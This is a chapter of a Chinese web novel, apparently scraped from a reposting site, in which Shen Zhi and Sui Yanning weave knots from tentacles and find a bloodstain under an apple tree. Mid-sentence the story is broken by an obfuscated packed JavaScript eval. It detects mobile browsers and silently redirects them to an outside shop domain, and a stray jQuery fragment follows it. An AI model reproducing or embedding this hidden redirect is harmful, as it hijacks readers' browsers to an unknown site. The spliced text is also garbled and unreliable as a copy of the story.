文趣网 > 其他小说 > 神明坠落 > 124. 同心结
    他左手下意识探入衣襟,指尖触碰到一张符纸。

    传讯符,只要注入微量灵气,便会自动向预设的方位发送此处定位。

    他一直贴身携带,并未存放在金莲中。

    指尖在传讯符边缘摩挲了片刻,最终,还是将它轻轻推回衣襟内侧,妥帖放好。

    一直安安静静的身影突然站起身,蹬蹬蹬跑到洞口,仰头望天,莫名地叹了口长气。

    沈栀忍不住问:“为何叹气?”

    岁宴宁没回答,甚至没看他。

    她就那样站在洞口,单薄的身影被天光勾勒出一道纤细的剪影,金色的竖瞳望着远方,仿佛真的在为什么事情伤春悲秋,周身莫名忧郁。

    沈栀只得陪在她身旁一同向远处眺望。

    好在这种状态只持续了很短的时间。

    像是多动症的孩童,岁宴宁又转身大步走回山洞里,目光扫过地面上盘绕蠕动的触手,眉头紧紧皱了起来,脸上露出了明显的不满。

    “乱。”她吐出一个字,然后抬手对着空气开始指指点点。

    仿佛得到号令,整个洞穴的触手们瞬间沸腾起来。

    祂们急速穿梭、交织、变换位置。

    粗的、细的、粉的、红的…无数触手疯狂涌动。

    沈栀走到全神贯注的岁宴宁身边,看着眼前这令人眼花缭乱的景象,不解问道:“你在做什么?”

    岁宴宁皱着眉头,盯着几根正在尝试打结的粗壮触手,祂们笨拙地缠绕在一起,却不得其法,反而越缠越乱。

    她似乎很努力地在回忆什么,语速很慢:“编…平安结。”

    “你会编?”沈栀有些意外。

    “好像在哪里看过一眼。”岁宴宁语气不太确定,“想不起来了,试试。”

    “需要帮忙吗?”沈栀问。

    “不用。”岁宴宁果断拒绝。

    眼看角落里的几堆触手已经彻底纠缠成死疙瘩,还在懵懂地互相拉扯,岁宴宁的眉头越皱越紧,金色的竖瞳里开始积聚风暴。

    沈栀沉默了一瞬,在她即将发飙前,非常自觉地走向那个最混乱的角落:“还是我来吧。”

    他蹲下身,开始手动解开那些打了死结的触手。

    沈栀手指灵巧,耐心十足,一根根理顺,分开。

    触手们似乎能感知到他的意图,虽然还有些不情愿地扭动,但总算配合了许多。

    解开一堆,他又走向下一堆。

    有了沈栀这个外力帮助,岁宴宁的编织大业终于得以顺利推进。

    她似乎从混乱中抓住了一点模糊的感觉,指挥变得稍微有条理了一些。

    几根颜色较浅、粗细均匀的粉色触手被她特意挑选出来,在她的操控下,开始缓慢而依葫芦画瓢地,按照某种纹路互相穿梭、压叠。

    一个巨大的、依稀能看出形状的平安结,终于缓缓在洞穴半空中成型。

    岁宴宁仰头看着自己的作品,金色的竖瞳极其满意。

    她控制着巨大平安结,将祂悬挂在洞穴正上方的中央位置。

    平安结缓缓旋转,粉色的触手表面在透过洞口的天光映照下,泛着一种湿润而柔软的光泽。

    她低下头,看了看地面上依旧铺得厚厚的触手们,思考了片刻,又说:“再编。”

    沈栀问:“编什么?”

    “同心结。”

    沈栀的心跳,又漏了一拍。

    同心结的编法比平安结简单许多,对触手们来说似乎也更容易理解。

    很快,在岁宴宁的指挥和沈栀的辅助下,八个稍小一些的同心结,也陆续完成。

    岁宴宁控制着祂们,四个一排,整齐地悬挂在巨大平安结的两侧。

    一时间,洞穴深处的景象变得奇异而…温馨。

    巨大柔软的粉色平安结居中,两侧对称悬挂着八个小巧的同心结,微微晃动。

    触手本身的质地让这些结绳作品边缘略显圆润模糊,少了丝线编织的精致,却多了几分生机勃勃的柔软感。

    不同于昨日的嗜睡与烦躁,今日的岁宴宁似乎异常活泼。

    编完绳结,她像是完成了什么大事,心满意足地拍拍手,然后一把扯住沈栀的袖子:“走。”

    沈栀猝不及防,被扯得有些趔趄,但还是迅速反应过来跟上她:“去哪?”

    “遛达。”岁宴宁拖着他往洞外走,理由听起来十分合理,“吃撑了,消食。”

    沈栀侧头看了她一眼,实在没理解她“吃撑”的结论究竟从何而来。

    早上吃了总共六块绿豆糕,以她的食量,距离吃撑还差得远。

    但他没有反驳,任由她拉着走出了洞穴。

    他们并未离开昨日的战场太远,方圆数十里内,异变的灵气已被彻底净化一空,怪不得昨日他想提气运行时,感觉如此滞涩梗塞。

    天际垂下的枯髓境触须也变得透明,若非仔细感知,几乎无法察觉。

    这是一片真正意义上的、被完全净化的净土,其纯净程度远超新叶城。

    失去了异变灵气的支撑,周围那些原本长相扭曲怪诞的树木花草,在短短几日内迅速干瘪、衰败。

    与此同时,在那些干枯的枝叶下、龟裂的土地缝隙里,竟有一簇簇翠绿的新芽怯生生地探出头来,带着磅礴而纯净的生命气息。

    毁灭与新生,在这片土地上,形成了鲜明的对比。

    岁宴宁蹲下身,伸出手用指尖极轻地碰了碰一株刚从石缝里钻出的翠绿色嫩芽。

    她的动作很小心,仿佛怕碰碎了它。

    金色竖瞳里,映着那一点渺小的绿意,眸光微微闪动。

    嫩芽被她碰得微微摇晃。

    她看了一会儿,然后站起身,目光随意地扫视着周围。

    突然,她的视线定在某处,抬手指了过去。

    “苹果。”

    沈栀顺着她手指的方向看去。

    在一众干瘪枯败的树木中,唯独那一棵依旧枝繁叶茂,绿意盎然,甚至枝头还挂着零星几个红艳艳的果实。

    他昨日吃的苹果,想来就是从这棵树上摘的。

    这棵树如此高大,树冠如盖,绝非几日之内能够长成。

    为何它没有像其他植物一样干瘪死去?

    沈栀心中闪过疑惑,看向岁宴宁:“想吃?”

    岁宴宁点了点头,眼神落在那些红果子上,很直接地表达了欲望。

    沈栀走到树下,选了两个看起来最大最红的苹果,踮脚摘了下来。

    果皮光滑,入手沉甸甸的,散发着清甜的气息。

    他用衣袖仔细擦拭掉果实表面的灰尘,正准备转身递给眼巴巴等着的岁宴宁。

    眼角的余光,却突然瞥到树下

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17763710|203127||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一抹暗红。

    他动作顿住,收回递出一半的手,蹲下身。

    是血。

    一摊颜色深褐、几乎发黑的血迹,浸透了树根周围的土壤,面积不小,看上去流血量颇多。

    沈栀伸出食指,轻轻按了按血迹边缘,血迹尚未完全干涸。

    大概就在最近几天。

    是谁的血?

    敌人?还是…顾京墨、般般?

    他心中一沉,霍然起身,锐利的目光迅速扫视四周。

    远处天边,几个如同疮疤般的黑洞依旧悬挂着,那是之前被岁宴宁破坏但未完全消散的时空裂缝。

    当初首领破坏界限,白雾涌进,他借机逃跑,但实际并未走远,大约也就这个距离…

    那么,这棵苹果树…

    沈栀的目光重新落回眼前这棵枝繁叶茂的大树,又缓缓移到树下那摊刺目的血迹上。

    之前那棵张牙舞爪的巨树,内里竟是一棵普通的苹果树吗?

    岁宴宁不知何时已经走到他身边,正微微歪着头,看着他空空的手,又看看地上两个沾了灰的苹果,十分不满。

    “给我。”她伸出手。

    沈栀一愣,刚才查看血迹时,苹果被他随手放在地上,沾了泥土,已经不能吃了。

    他重新摘了两个更大更红的,用衣袖仔细擦了好几遍,才递到岁宴宁手里。

    岁宴宁接过来,低头看了看光滑红润的果皮,这才满意地哼了一声,张嘴咬了一口。

    她正想转身往回走,沈栀却忽然开口:“你喜欢吃苹果吗?”

    岁宴宁咽下果肉,没什么情绪地说:“不喜欢酸的。”

    “这个呢?甜的还是酸的?”

    “甜的。”她又咬了一口,回答得含糊。

    “那要不要多摘点?放在山洞里存着吃。”沈栀看着她的侧脸,语气平常。

    岁宴宁停下脚步,偏头看了他一眼,似乎在认真思考这个提议。

    片刻,她点了点头:“有道理。”

    她将剩下的苹果三两口啃完,果核随手一丢,袖子一撸,就要亲自上阵。

    “我来。”沈栀拦住她,轻轻拽着她的衣袖,将她引到一旁相对干净平整的石块边,“你坐着,等着就行。”

    他走回树下,将袖子向上挽了几折,露出线条流畅劲瘦的小臂,开始摘苹果。

    动作不疾不徐,却效率极高,修长的手指捏住果柄一旋一折,红彤彤的果子便乖巧的落入他手中。

    岁宴宁坐在石头上,两条腿轻轻晃着,手里不知何时又多了个新苹果,小口小口地啃着。

    她的目光随着沈栀的动作转动,停留在他露出的小臂上,金色的竖瞳一眨不眨。

    等她慢悠悠吃完第二个苹果,沈栀已经把整棵树上的果子都摘了下来,在树下摞成了一座红艳艳的小山。

    他仰头看了看变得空荡荡的高大树冠,突然转头问:“有斧子吗?”

    岁宴宁摇头:“没有。”

    沈栀眯了眯眼,试探开口:“【神判】...”

    “不要。”岁宴宁皱眉,十分严厉的拒绝了他的请求。

    沈栀看她明显抵触的神色,虽然不清楚她为何如此讨厌【神判】,但也不再多问,只得作罢。

    他略一沉吟,换了个方式商量:“能不能让你的触手帮忙把这棵树拔起来?”